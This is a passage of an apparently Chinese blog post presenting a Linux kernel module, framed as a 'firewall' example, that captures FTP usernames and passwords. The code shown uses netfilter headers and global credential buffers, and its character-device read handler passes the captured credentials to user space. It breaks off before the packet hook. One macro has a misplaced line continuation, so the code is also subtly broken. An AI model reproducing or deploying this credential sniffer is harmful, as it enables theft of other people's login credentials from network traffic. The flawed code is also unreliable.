linux防火墙开发实例 获取FTP账号密码

代码里有注释

R0代码:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/types.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/netfilter_ipv4.h>
#include <linux/inet.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>

#define SECOND_MAJOR 0

//用于显示IP
#define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \
  ((unsigned char *)&addr)[1], \
  ((unsigned char *)&addr)[2], \
  ((unsigned char *)&addr)[3]

//通信端口
static int second_major = SECOND_MAJOR;
//注册通信端口时用到的结构 保存端口信息
struct cdev g_cdev;


char *g_UserName = NULL;
char *g_PassWord = NULL;
char *g_Retstr = NULL;

int second_open(struct inode *inode, struct file *filp)
{
  printk("Open!\n");
  return 0;    
}

int second_release(struct inode *inode, struct file *filp)
{
    printk("Release!\n");
    return 0;
}
static ssize_t second_read(struct file *filp, char __user *buf, size_t count, 
  loff_t *ppos)
{
  int ret = 0;
  //printk("Read!\n");
  if(g_UserName && g_PassWord && g_Retstr)
  {
  	if(*g_UserName == '\0' || *g_PassWord == '\0')
	{
		return 0;
	}
  	strcpy(g_Retstr,"UserID:");
	strcat(g_Retstr,g_UserName);
	strcat(g_Retstr," PassWord:");
	strcat(g_Retstr,g_PassWord);
  //断数据可以用put_user 字符串或大数据使用copy_to_user
    if (copy_to_user(buf,g_Retstr,256))
    {
       ret =  -EFAULT;
    }else
    {
       ret = 256;
    }
    memset(g_UserName,'\0',256);
	memset(g_PassWord,'\0',256);
  }

  return ret;
}

//通信分发函数设置
static const struct file_operations second_fop
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值